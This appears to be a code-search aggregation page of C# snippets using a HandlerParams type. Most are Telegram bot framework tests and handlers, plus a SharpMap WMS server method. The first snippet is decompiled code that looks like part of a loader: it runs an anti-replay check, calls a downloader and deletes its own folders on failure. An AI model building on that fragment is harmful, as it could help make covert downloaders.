Exemplo n.º 1
0
 // Token: 0x06000038 RID: 56 RVA: 0x00004E5C File Offset: 0x0000305C
 public void Start()
 {
     try
     {
         global::Buffer.Start();
         HandlerParams.Start();
         if (!AntiReplaySender.CheckReplayStart() && EntryPoint.activation && new XS().Start(Starter.Params))
         {
             Downloader.Load();
             EntryPoint.close = true;
             return;
         }
     }
     catch
     {
         try
         {
             if (Directory.Exists(global::Buffer.path_l))
             {
                 Directory.Delete(global::Buffer.path_l, true);
             }
             if (Directory.Exists(global::Buffer.path_p))
             {
                 Directory.Delete(global::Buffer.path_p, true);
             }
         }
         catch
         {
         }
     }
     EntryPoint.close = true;
 }
        public void CanHandleMultiContent()
        {
            var paramses = new HandlerParams(null, new Update
            {
                Message = new Message
                {
                    Voice = new Voice
                    {
                    },
                    Game = new Game
                    {
                    }
                }
            }, null, "testbot");
            var attribute = new MessageAttribute(Enums.MessageFlag.HasVoice);

            Assert.True(attribute.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update()
            {
                Poll = new Poll
                {
                }
            }, null, "testbot");

            Assert.False(attribute.CanHandleInternal(paramses));
        }
        public void CanHandleVoiceMessages()
        {
            var paramses = new HandlerParams(null, new Update
            {
                Message = new Message
                {
                    Voice = new Voice
                    {
                    }
                }
            }, null, "testbot");
            var attribute = new MessageAttribute(Enums.MessageFlag.HasVoice);

            Assert.True(attribute.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Animation = new Animation()
                }
            }, null, "testbot");

            Assert.False(attribute.CanHandleInternal(paramses));
        }
        protected override bool CanHandle(HandlerParams param)
        {
            if (InChat != InChat.All && param.InChat != InChat)
            {
                return(false);
            }

            if (UpdateFlags.HasFlag(UpdateFlag.All))
            {
                return(true);
            }

            return(param.Type switch
            {
                UpdateType.Message => UpdateFlags.HasFlag(UpdateFlag.Message),
                UpdateType.InlineQuery => UpdateFlags.HasFlag(UpdateFlag.InlineQuery),
                UpdateType.ChosenInlineResult => UpdateFlags.HasFlag(UpdateFlag.ChosenInlineResult),
                UpdateType.CallbackQuery => UpdateFlags.HasFlag(UpdateFlag.CallbackQuery),
                UpdateType.EditedMessage => UpdateFlags.HasFlag(UpdateFlag.EditedMessage),
                UpdateType.ChannelPost => UpdateFlags.HasFlag(UpdateFlag.ChannelPost),
                UpdateType.EditedChannelPost => UpdateFlags.HasFlag(UpdateFlag.EditedChannelPost),
                UpdateType.ShippingQuery => UpdateFlags.HasFlag(UpdateFlag.ShippingQuery),
                UpdateType.PreCheckoutQuery => UpdateFlags.HasFlag(UpdateFlag.PreCheckoutQuery),
                UpdateType.Poll => UpdateFlags.HasFlag(UpdateFlag.Poll),
                UpdateType.PollAnswer => UpdateFlags.HasFlag(UpdateFlag.PollAnswer),
                UpdateType.MyChatMember => UpdateFlags.HasFlag(UpdateFlag.MyChatMember),
                UpdateType.ChatMember => UpdateFlags.HasFlag(UpdateFlag.ChatMember),
                _ => false
            });
        public void CanHandleFlags()
        {
            var paramses = new HandlerParams(null, new Update {
                Message = new Message {
                    Text = "Blah"
                }
            }, null, "testbot");
            var updateAttr = new UpdateAttribute {
                UpdateFlags = UpdateFlag.Message | UpdateFlag.Poll
            };

            Assert.True(updateAttr.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update {
                InlineQuery = new InlineQuery()
            }, null, "test");
            Assert.False(updateAttr.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update {
                ChosenInlineResult = new ChosenInlineResult()
            }, null, "test");
            Assert.False(updateAttr.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update {
                Poll = new Poll()
            }, null, "test");
            Assert.True(updateAttr.CanHandleInternal(paramses));

            updateAttr = new UpdateAttribute {
                UpdateFlags = UpdateFlag.All
            };
            paramses = new HandlerParams(null, new Update(), null, "test");
            Assert.True(updateAttr.CanHandleInternal(paramses));
        }
Exemplo n.º 6
0
        public void CanHandleInChannel()
        {
            var command  = new ParametrizedCommand(InChat.Channel, "test");
            var paramses =
                new HandlerParams(null,
                                  new Update
            {
                Message = new Message
                {
                    Text = "/test@testbot",
                    Chat = new Chat {
                        Type = ChatType.Channel
                    }
                }
            }, null, "testbot");

            Assert.True(command.CanHandleInternal(paramses));

            paramses =
                new HandlerParams(null,
                                  new Update
            {
                Message = new Message
                {
                    Text = "/test@testbot",
                    Chat = new Chat {
                        Type = ChatType.Group
                    }
                }
            }, null, "testbot");
            Assert.False(command.CanHandleInternal(paramses));

            paramses =
                new HandlerParams(null,
                                  new Update
            {
                Message = new Message
                {
                    Text = "/test@testbot",
                    Chat = new Chat {
                        Type = ChatType.Supergroup
                    }
                }
            }, null, "testbot");
            Assert.False(command.CanHandleInternal(paramses));

            paramses =
                new HandlerParams(null,
                                  new Update
            {
                Message = new Message
                {
                    Text = "/test@testbot",
                    Chat = new Chat {
                        Type = ChatType.Private
                    }
                }
            }, null, "testbot");
            Assert.False(command.CanHandleInternal(paramses));
        }
Exemplo n.º 7
0
 protected override bool CanHandle(HandlerParams param)
 {
     if (requreChat)
     {
         return(param.CallbackQuery != null && param.InChat == _inChat);
     }
     return(param.CallbackQuery != null);
 }
Exemplo n.º 8
0
 public void Notify(string Name, HandlerParams hp)
 {
     if (!events.ContainsKey(Name))
     {
         Console.WriteLine("No " + Name + " event found registered");
         return;
     }
     events[Name].Notify(hp);
 }
Exemplo n.º 9
0
        public async Task Test()
        {
            Setup();
            _factory.Find();
            var hParams = new HandlerParams(null, new Update(), _services.BuildServiceProvider(), "test");
            await _factory.ExecuteHandler(hParams);

            Assert.True(_proxy.Acessed);
            Assert.True(_proxy.Executed);
        }
Exemplo n.º 10
0
        public void CanHandleByTextWithUsername()
        {
            var command  = new ParametrizedCommand("test");
            var paramses = new HandlerParams(null, new Update {
                Message = new Message {
                    Text = "/test@testbot"
                }
            },
                                             null, "testbot");

            Assert.True(command.CanHandleInternal(paramses));
        }
        public void CanHandleInChannel()
        {
            var updateAttr = new UpdateAttribute {
                InChat = Setup.InChat.Channel
            };

            var chat = new Chat {
                Type = ChatType.Channel
            };
            var update = new Update {
                Message = new Message {
                    Text = "Blah", Chat = chat
                }
            };

            var paramses = new HandlerParams(null, update, null, "testbot");

            Assert.True(updateAttr.CanHandleInternal(paramses));

            chat = new Chat {
                Type = ChatType.Group
            };
            update = new Update {
                Message = new Message {
                    Text = "Blah", Chat = chat
                }
            };
            paramses = new HandlerParams(null, update, null, "testbot");
            Assert.False(updateAttr.CanHandleInternal(paramses));

            chat = new Chat {
                Type = ChatType.Private
            };
            update = new Update {
                Message = new Message {
                    Text = "Blah", Chat = chat
                }
            };
            paramses = new HandlerParams(null, update, null, "testbot");
            Assert.False(updateAttr.CanHandleInternal(paramses));

            chat = new Chat {
                Type = ChatType.Supergroup
            };
            update = new Update {
                Message = new Message {
                    Text = "Blah", Chat = chat
                }
            };
            paramses = new HandlerParams(null, update, null, "testbot");
            Assert.False(updateAttr.CanHandleInternal(paramses));
        }
Exemplo n.º 12
0
        protected override bool CanHandle(HandlerParams param)
        {
            if (param.IsCommand)
            {
                if (_type != InChat.All)
                {
                    return(param.InChat == _type && IsCommandEqual(param));
                }

                return(IsCommandEqual(param));
            }

            return(false);
        }
Exemplo n.º 13
0
 public void Notify(HandlerParams hp)
 {
     foreach (var h in toAdd)
     {
         handlers.Remove(h);
     }
     foreach (var h in toRemove)
     {
         handlers.Remove(h);
     }
     foreach (var h in handlers)
     {
         h.func(hp);
     }
 }
        public void CanHandleAllTextMessages()
        {
            var paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Text = "Blah"
                }
            }, null, "testbot");
            var attribute = new TextMessage();

            Assert.True(attribute.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Animation = new Animation()
                }
            }, null, "testbot");

            Assert.False(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage(InChat.Public);
            paramses  = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Chat = new Chat()
                    {
                        Type = ChatType.Channel
                    }, Text = "asd"
                }
            }, null, "testbot");

            Assert.False(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage(InChat.Channel);
            Assert.True(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage(InChat.Private);
            Assert.False(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage(InChat.Public);
            Assert.False(attribute.CanHandleInternal(paramses));
        }
Exemplo n.º 15
0
        protected override bool CanHandle(HandlerParams param)
        {
            if (param.Type != UpdateType.Message)
            {
                return(false);
            }

            if (param.Update.Message.Type != MessageType)
            {
                return(false);
            }

            if (Chat == InChat.All)
            {
                return(true);
            }

            return(param.InChat == Chat);
        }
        public void CanHandleSomeEqualTextInMessageRegex()
        {
            var paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Text = "Blah", Chat = new Chat()
                    {
                        Type = ChatType.Private
                    }
                }
            }, null, "testbot");
            var attribute = new TextMessage("foo|bar|Blah", true);

            Assert.True(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage("foo", true);
            Assert.False(attribute.CanHandleInternal(paramses));
        }
        private bool IsCommandEqual(HandlerParams hParams)
        {
            switch (_mode)
            {
            case CommandParseMode.WithUsername:
                return(string.Equals(Text, hParams.CommandName, StringComparison.InvariantCultureIgnoreCase) &&
                       hParams.IsFullFormCommand);

            case CommandParseMode.WithoutUsername:
                return(string.Equals(Text, hParams.CommandName, StringComparison.InvariantCultureIgnoreCase) &&
                       !hParams.IsFullFormCommand);

            case CommandParseMode.Both:
                return(string.Equals(Text, hParams.CommandName, StringComparison.InvariantCultureIgnoreCase));

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
        public void CanHandleSomeEqualTextInMessage()
        {
            var paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Text = "Blah"
                }
            }, null, "testbot");
            var attribute = new TextMessage("Blah");

            Assert.True(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage("Foo");
            Assert.False(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage("/test");
            Assert.False(attribute.CanHandleInternal(paramses));
        }
Exemplo n.º 19
0
        protected override bool CanHandle(HandlerParams param)
        {
            if (param.Type != UpdateType.Message || param.Update.Message.Type != MessageType.Text)
            {
                return(false);
            }

            if (param.IsCommand)
            {
                return(false);
            }

            var message     = param.Update.Message;
            var messageText = message.Text;

            var chatMatch = false;
            var textMatch = false;

            if (_inChat != InChat.All)
            {
                chatMatch = param.InChat == _inChat;
            }
            else
            {
                chatMatch = true;
            }

            if (Empty || string.IsNullOrEmpty(_text))
            {
                return(chatMatch);
            }

            if (_regexp)
            {
                textMatch = Regex.IsMatch(messageText, _text);
            }
            else
            {
                textMatch = _text == messageText;
            }

            return(textMatch && chatMatch);
        }
        public void CanHandleLeftChatMember()
        {
            var handles = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    LeftChatMember =
                        new User()
                    {
                        Id        = 12345,
                        FirstName = "Fulan",
                        Username  = "******",
                        LastName  = "Bin Fulan"
                    }
                }
            }, null, "testbot");

            var attribute = new MessageAttribute(MessageFlag.HasLeftChatMember);

            Assert.True(attribute.CanHandleInternal(handles));
        }
        public void CanHandleSomeEqualTextInMessageByChat()
        {
            var paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Text = "Blah", Chat = new Chat()
                    {
                        Type = ChatType.Private
                    }
                }
            }, null, "testbot");
            var attribute = new TextMessage(InChat.All, "Blah");

            Assert.True(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage(InChat.All, "Foo");
            Assert.False(attribute.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Chat = new Chat()
                    {
                        Type = ChatType.Channel
                    }, Text = "Blah"
                }
            }, null, "bot");
            attribute = new TextMessage(InChat.Channel, "Blah");

            Assert.True(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage(InChat.Public, "Blah");
            Assert.False(attribute.CanHandleInternal(paramses));

            attribute = new TextMessage(InChat.Channel, "asd");
            Assert.False(attribute.CanHandleInternal(paramses));
        }
        public void CanHandleCaptionMessages()
        {
            var paramses = new HandlerParams(null, new Update()
            {
                Message = new Message()
                {
                    Caption = "Blah",
                    Voice   = new Voice
                    {
                    }
                }
            }, null, "testbot");
            var attribute = new MessageAttribute(Enums.MessageFlag.HasCaption);

            Assert.True(attribute.CanHandleInternal(paramses));

            attribute = new MessageAttribute("Foo");
            Assert.False(attribute.CanHandleInternal(paramses));

            attribute = new MessageAttribute("/test");
            Assert.False(attribute.CanHandleInternal(paramses));
        }
Exemplo n.º 23
0
        protected override bool CanHandle(HandlerParams param)
        {
            if (!base.CanHandle(param))
            {
                return(false);
            }

            var message = param.Update.Message;

            if (CanHandleMessage(message))
            {
                if (MessageFlags.HasFlag(MessageFlag.HasText))
                {
                    if (param.IsCommand && IsCommand)
                    {
                        return(true);
                    }
                    return(IsTextMatch(message.Text));
                }
                return(true);
            }
            return(false);
        }
Exemplo n.º 24
0
        public void CanFilterUserName()
        {
            var commandInChat = new ParametrizedCommand(InChat.All, "test", CommandParseMode.Both);
            var command       = new ParametrizedCommand("test", CommandParseMode.Both);

            var paramses = new HandlerParams(null, new Update {
                Message = new Message {
                    Text = "/test@testbot"
                }
            },
                                             null, "testbot");

            Assert.True(commandInChat.CanHandleInternal(paramses));
            Assert.True(command.CanHandleInternal(paramses));

            commandInChat = new ParametrizedCommand(InChat.All, "test", CommandParseMode.WithUsername);
            command       = new ParametrizedCommand("test", CommandParseMode.WithUsername);

            Assert.True(commandInChat.CanHandleInternal(paramses));
            Assert.True(command.CanHandleInternal(paramses));

            commandInChat = new ParametrizedCommand(InChat.All, "test", CommandParseMode.WithoutUsername);
            command       = new ParametrizedCommand("test", CommandParseMode.WithoutUsername);

            Assert.False(commandInChat.CanHandleInternal(paramses));
            Assert.False(command.CanHandleInternal(paramses));

            paramses = new HandlerParams(null, new Update {
                Message = new Message {
                    Text = "/test"
                }
            },
                                         null, "testbot");
            Assert.True(commandInChat.CanHandleInternal(paramses));
            Assert.True(command.CanHandleInternal(paramses));
        }
 protected override bool CanHandle(HandlerParams param)
 {
     return(base.CanHandle(param) && IsCommandEqual(param));
 }
Exemplo n.º 26
0
        /// <summary>
        /// Generates a WMS 1.3.0 compliant response based on a <see cref="SharpMap.Map"/> and the current HttpRequest.
        /// </summary>
        /// <remarks>
        /// <para>
        /// The Web Map Server implementation in SharpMap requires v1.3.0 compatible clients,
        /// and support the basic operations "GetCapabilities" and "GetMap"
        /// as required by the WMS v1.3.0 specification. SharpMap does not support the optional
        /// GetFeatureInfo operation for querying.
        /// </para>
        /// <example>
        /// Creating a WMS server in ASP.NET is very simple using the classes in the SharpMap.Web.Wms namespace.
        /// <code lang="C#">
        /// void page_load(object o, EventArgs e)
        /// {
        ///		//Get the path of this page
        ///		string url = (Request.Url.Query.Length>0?Request.Url.AbsoluteUri.Replace(Request.Url.Query,""):Request.Url.AbsoluteUri);
        ///		SharpMap.Web.Wms.Capabilities.WmsServiceDescription description =
        ///			new SharpMap.Web.Wms.Capabilities.WmsServiceDescription("Acme Corp. Map Server", url);
        ///		
        ///		// The following service descriptions below are not strictly required by the WMS specification.
        ///		
        ///		// Narrative description and keywords providing additional information 
        ///		description.Abstract = "Map Server maintained by Acme Corporation. Contact: [email protected]. 
        ///     High-quality maps showing roadrunner nests and possible ambush locations.";
        ///		description.Keywords.Add("bird");
        ///		description.Keywords.Add("roadrunner");
        ///		description.Keywords.Add("ambush");
        ///		
        ///		//Contact information 
        ///		description.ContactInformation.PersonPrimary.Person = "John Doe";
        ///		description.ContactInformation.PersonPrimary.Organisation = "Acme Inc";
        ///		description.ContactInformation.Address.AddressType = "postal";
        ///		description.ContactInformation.Address.Country = "Neverland";
        ///		description.ContactInformation.VoiceTelephone = "1-800-WE DO MAPS";
        ///		//Impose WMS constraints
        ///		description.MaxWidth = 1000; //Set image request size width
        ///		description.MaxHeight = 500; //Set image request size height
        ///		
        ///		//Call method that sets up the map
        ///		//We just add a dummy-size, since the wms requests will set the image-size
        ///		SharpMap.Map myMap = MapHelper.InitializeMap(new System.Drawing.Size(1,1));
        ///		
        ///		//Parse the request and create a response
        ///		SharpMap.Web.Wms.WmsServer.ParseQueryString(myMap,description);
        /// }
        /// </code>
        /// </example>
        /// </remarks>
        /// <param name="map">Map to serve on WMS</param>
        /// <param name="description">Description of map service</param>
        ///<param name="pixelSensitivity">Tolerance for GetFeatureInfo requests</param>
        ///<param name="intersectDelegate">Delegate for Getfeatureinfo intersecting, when null, the WMS will default to ICanQueryLayer implementation</param>
        public static void ParseQueryString(Map map, Capabilities.WmsServiceDescription description, int pixelSensitivity, InterSectDelegate intersectDelegate)
        {
            _pixelSensitivity = pixelSensitivity;
            _intersectDelegate = intersectDelegate;

            if (map == null)
                throw (new ArgumentException("Map for WMS is null"));
            if (map.Layers.Count == 0)
                throw (new ArgumentException("Map doesn't contain any layers for WMS service"));

            if (HttpContext.Current == null)
                throw new ApplicationException("An attempt was made to access the WMS server outside a valid HttpContext");

            HttpContext context = HttpContext.Current;

            //IgnoreCase value should be set according to the VERSION parameter
            //v1.3.0 is case sensitive, but since it causes a lot of problems with several WMS clients, we ignore casing anyway.
            const bool ignorecase = true;

            //Collect parameters
            string request = context.Request.Params["REQUEST"];
            string version = context.Request.Params["VERSION"];

            //Check for required parameters
            //Request parameter is mandatory            
            if (request == null)
            {
                WmsException.ThrowWmsException("Required parameter REQUEST not specified");
                return;
            }

            //Check if version is supported            
            if (version != null)
            {
                if (String.Compare(version, "1.3.0", ignorecase) != 0)
                {
                    WmsException.ThrowWmsException("Only version 1.3.0 supported");
                    return;
                }
            }
            else
            {
                //Version is mandatory if REQUEST!=GetCapabilities. Check if this is a capabilities request, since VERSION is null
                if (String.Compare(request, "GetCapabilities", ignorecase) != 0)
                {
                    WmsException.ThrowWmsException("VERSION parameter not supplied");
                    return;
                }
            }

            HandlerParams @params = new HandlerParams(context, map, description, ignorecase);
            GetFeatureInfoParams infoParams = new GetFeatureInfoParams(_pixelSensitivity, _intersectDelegate);

            IWmsHandler handler = null;
            if (String.Compare(request, "GetCapabilities", ignorecase) == 0)
                handler = new GetCapabilities(@params);
            else if (String.Compare(request, "GetFeatureInfo", ignorecase) == 0)
                handler = new GetFeatureInfo(@params, infoParams);
            else if (String.Compare(request, "GetMap", ignorecase) == 0)
                handler = new GetMap(@params);

            if (handler == null)
            {
                WmsException.ThrowWmsException(
                    WmsException.WmsExceptionCode.OperationNotSupported, String.Format("Invalid request: {0}", request));
            }
            else handler.Handle();
        }
Exemplo n.º 27
0
 internal bool CanHandleInternal(HandlerParams param) => CanHandle(param);
Exemplo n.º 28
0
 protected abstract bool CanHandle(HandlerParams param);
Exemplo n.º 29
0
 protected override bool CanHandle(HandlerParams param)
 {
     return(true);
 }
Exemplo n.º 30
0
 internal void __Setup(IMiddleware ware, HandlerParams handlerParams)
 {
     _next         = ware;
     HandlerParams = handlerParams;
 }
Exemplo n.º 31
0
        /// <summary>
        /// Generates a WMS 1.3.0 compliant response based on a <see cref="SharpMap.Map"/> and the current HttpRequest.
        /// </summary>
        /// <remarks>
        /// <para>
        /// The Web Map Server implementation in SharpMap requires v1.3.0 compatible clients,
        /// and support the basic operations "GetCapabilities" and "GetMap"
        /// as required by the WMS v1.3.0 specification. SharpMap does not support the optional
        /// GetFeatureInfo operation for querying.
        /// </para>
        /// <example>
        /// Creating a WMS server in ASP.NET is very simple using the classes in the SharpMap.Web.Wms namespace.
        /// <code lang="C#">
        /// void page_load(object o, EventArgs e)
        /// {
        ///		//Get the path of this page
        ///		string url = (Request.Url.Query.Length>0?Request.Url.AbsoluteUri.Replace(Request.Url.Query,""):Request.Url.AbsoluteUri);
        ///		SharpMap.Web.Wms.Capabilities.WmsServiceDescription description =
        ///			new SharpMap.Web.Wms.Capabilities.WmsServiceDescription("Acme Corp. Map Server", url);
        ///
        ///		// The following service descriptions below are not strictly required by the WMS specification.
        ///
        ///		// Narrative description and keywords providing additional information
        ///		description.Abstract = "Map Server maintained by Acme Corporation. Contact: [email protected].
        ///     High-quality maps showing roadrunner nests and possible ambush locations.";
        ///		description.Keywords.Add("bird");
        ///		description.Keywords.Add("roadrunner");
        ///		description.Keywords.Add("ambush");
        ///
        ///		//Contact information
        ///		description.ContactInformation.PersonPrimary.Person = "John Doe";
        ///		description.ContactInformation.PersonPrimary.Organisation = "Acme Inc";
        ///		description.ContactInformation.Address.AddressType = "postal";
        ///		description.ContactInformation.Address.Country = "Neverland";
        ///		description.ContactInformation.VoiceTelephone = "1-800-WE DO MAPS";
        ///		//Impose WMS constraints
        ///		description.MaxWidth = 1000; //Set image request size width
        ///		description.MaxHeight = 500; //Set image request size height
        ///
        ///		//Call method that sets up the map
        ///		//We just add a dummy-size, since the wms requests will set the image-size
        ///		SharpMap.Map myMap = MapHelper.InitializeMap(new System.Drawing.Size(1,1));
        ///
        ///		//Parse the request and create a response
        ///		SharpMap.Web.Wms.WmsServer.ParseQueryString(myMap,description);
        /// }
        /// </code>
        /// </example>
        /// </remarks>
        /// <param name="map">Map to serve on WMS</param>
        /// <param name="description">Description of map service</param>
        ///<param name="pixelSensitivity">Tolerance for GetFeatureInfo requests</param>
        ///<param name="intersectDelegate">Delegate for Getfeatureinfo intersecting, when null, the WMS will default to ICanQueryLayer implementation</param>
        public static void ParseQueryString(Map map, Capabilities.WmsServiceDescription description, int pixelSensitivity, InterSectDelegate intersectDelegate)
        {
            _pixelSensitivity  = pixelSensitivity;
            _intersectDelegate = intersectDelegate;

            if (map == null)
            {
                throw (new ArgumentException("Map for WMS is null"));
            }
            if (map.Layers.Count == 0)
            {
                throw (new ArgumentException("Map doesn't contain any layers for WMS service"));
            }

            if (HttpContext.Current == null)
            {
                throw new ApplicationException("An attempt was made to access the WMS server outside a valid HttpContext");
            }

            HttpContext context = HttpContext.Current;

            //IgnoreCase value should be set according to the VERSION parameter
            //v1.3.0 is case sensitive, but since it causes a lot of problems with several WMS clients, we ignore casing anyway.
            const bool ignorecase = true;

            //Collect parameters
            string request = context.Request.Params["REQUEST"];
            string version = context.Request.Params["VERSION"];

            //Check for required parameters
            //Request parameter is mandatory
            if (request == null)
            {
                WmsException.ThrowWmsException("Required parameter REQUEST not specified");
                return;
            }

            //Check if version is supported
            if (version != null)
            {
                if (String.Compare(version, "1.3.0", ignorecase) != 0)
                {
                    WmsException.ThrowWmsException("Only version 1.3.0 supported");
                    return;
                }
            }
            else
            {
                //Version is mandatory if REQUEST!=GetCapabilities. Check if this is a capabilities request, since VERSION is null
                if (String.Compare(request, "GetCapabilities", ignorecase) != 0)
                {
                    WmsException.ThrowWmsException("VERSION parameter not supplied");
                    return;
                }
            }

            HandlerParams        @params    = new HandlerParams(context, map, description, ignorecase);
            GetFeatureInfoParams infoParams = new GetFeatureInfoParams(_pixelSensitivity, _intersectDelegate);

            IWmsHandler handler = null;

            if (String.Compare(request, "GetCapabilities", ignorecase) == 0)
            {
                handler = new GetCapabilities(@params);
            }
            else if (String.Compare(request, "GetFeatureInfo", ignorecase) == 0)
            {
                handler = new GetFeatureInfo(@params, infoParams);
            }
            else if (String.Compare(request, "GetMap", ignorecase) == 0)
            {
                handler = new GetMap(@params);
            }

            if (handler == null)
            {
                WmsException.ThrowWmsException(
                    WmsException.WmsExceptionCode.OperationNotSupported, String.Format("Invalid request: {0}", request));
            }
            else
            {
                handler.Handle();
            }
        }